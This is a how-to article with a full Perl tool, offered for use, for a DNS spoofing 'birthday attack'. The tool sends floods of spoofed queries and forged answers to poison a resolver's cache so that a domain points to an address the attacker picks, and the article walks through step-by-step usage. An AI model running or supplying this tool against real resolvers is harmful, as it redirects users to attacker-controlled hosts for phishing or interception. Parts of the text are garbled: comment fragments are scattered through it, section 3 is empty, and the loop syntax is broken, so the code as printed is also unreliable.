An Implementation of a Birthday Attack in a DNS Spoofing.
By Ramon Izaguirre.
0.- Introduction,
In november 2002 Vagner Sacramento discovered that a dns server would reply
with n responses to n queries made
from different ip addresses for the same domain
(http://www.rnp.br/cais/alertas/2002/cais-ALR-19112002a.html)
that enables a more effective dns spoofing attack to be performed.
In jannuary 2002 Joe Stewart wrote an article about the different and new
DNS issues
(http://www.securityfocus.com/guest/17905) and included a perl script to
check the probability and sucessfulness
of an n-n attack (Birthday Attack) performed against a dns server but the
script did not carry out the attack itself.
This tool is a perl implementation of such an attack that does it. With the
upcoming of IPv6 DNS will become much
important that today is and its vulnerabilities even much more critical.
1.- Requirements,
The DNS Server should allow recursive queries to be performed from you.
Your ISP should allow you to send source ip spoofed packets.
Your source ip should not be nated.
Before running the tool itself you need to know the source port that the
dns server to be spoofed will use.
You can do it by modifiying the script of Joe Stewart and replace the line
that says:
printf "Received recursive query with transaction ID: $tid\r";
For a line that says:
printf "Received recursive query with transaction ID: $tid port
%s\r",$server->peerport();
Save it and call it poison.pl for example.
2.- Howto.
Example: we have www.example.com and we want to deceive 172.16.54.3 into
thinking that www.example.com
resolves to 192.168.0.1.
a) Get the nameservers of example.com
dig example.com
example.com 43200 IN NS ns1.example.com
ns1.example.com 43200 IN A 10.0.0.1
dig @10.0.0.1 www.example.com
www.example.com 172800 IN A …; this number 172800 is the DNS TTL. see
later.
b) Run poison.pl against a domain that points to you. it will give you the
source port.
./poison.pl 172.16.54.3 www.mydomain.com
source port: 65423
c) Launch hds0.pl 10.0.0.1
./hds0.pl 10.0.0.1 172.16.54.3 32546 www.example.com 192.168.0.1
d) See if you were sucessful. Be careful here! If you have been unsucessful
in your attack you will need to
wait 172800 seconds (48 hours) to launch the attack again.
dig @172.16.54.3 www.example.com
www.example.com 86400 IN A 192.168.0.1
3.- Be careful with…
4.- The tool.
#!/usr/bin/perl
by taking advantage of the vulnerability exposed by Vagner Sacramento
(http://www.rnp.br/cais/alertas/2002/cais-ALR-19112002a.html) and pointed
out by Joe Stewart (http://www.securityfocus.com/guest/17905).
it will make sense.
that allows recursive queries to be performed) into thinking that
www.example.com resolves to 192.168.0.1
packet ---------------------------------------->
segment------------------->
data-------------->
spoofed(ip) |…|
192.168.0.1 |…|
use Net::DNS;
use Net::RawIP qw(:pcap);
#use strict; # too strict
$| = 1;
my $usage = "\nusage: $0 source(ip) destination(ip) source_port domain
spoofed(ip) [number_of_packets]\n";
die "$usage" unless $ARGV[0] && $ARGV[1] && $ARGV[2] && $ARGV[3] &&
$ARGV[4];
my @anyip;
my @anyport;
my @anyid;
my $saddr=$ARGV[0];
my $daddr=$ARGV[1];
my $sport=$ARGV[2];
my $dport='53';
my $fakeip = $ARGV[4];
my @transId;
my $domain = $ARGV[3];
$m = 1140;
if ($ARGV[5]!=0) {$m = $ARGV[5];}
my $s;
my $t;
my $x;
my $port_range = 64512; #65536-1024
my $id_range = 65536;
my $packet_q = Net::DNS::Packet->new($domain);
my $restpacket_q = substr($packet_q->data,2);
my $udp_q = new Net::RawIP({ip=> {daddr=>$daddr}, udp=>{dest=>$dport}});
my $packet_r = Net::DNS::Packet->new($domain);
$packet_r->push("pre",rr_add($domain . " A " . $fakeip));
$packet_r->header->qr(1);
my $restpacket_r = substr($packet_r->data,2);
my $udp_r = new Net::RawIP({ip=> {saddr=>$saddr, daddr=>$daddr},
udp=>{source=>$dport, dest=>$sport}});
for (0…($m - 1))
{ $anyip[$] =
sprintf("%d.%d.%d.%d",int(rand(224)),int(rand(256)),int(rand(256)),int(rand(
256)));
$anyport[$] = sprintf("%d", int(rand($port_range)+1024));
$anyid[$_] = pack ("H*", sprintf("%.4x", int(rand($id_range))));
}
#print "\n—> Source IP\t\tDestination IP\tSPort\tDPort\ttransaction ID";
print "\nGenerating unique transaction id numbers…";
for ($x=0; $x<$m; $x++)
{
$t=1;
while($t==1)
{
$t=0;
$s = pack ("H*", sprintf("%.4x", int(rand($id_range))));
for (@transId) { if ( $s eq $_ ) {$t = 1; break;}}
}
$transId[$x] = $s;
}
print "\nSending the packets…";
for (0…($m - 1)) {
$udp_q->set({ip=> {saddr=>$anyip[$]}, udp=>{source=>$anyport[$],
data=>$anyid[$_] . $restpacket_q}});
$udp_q->send();
}
for (@transId) {
$udp_r->set({udp=>{data=>$_ . $restpacket_r}});
$udp_r->send();
}
print "\nDone.\n";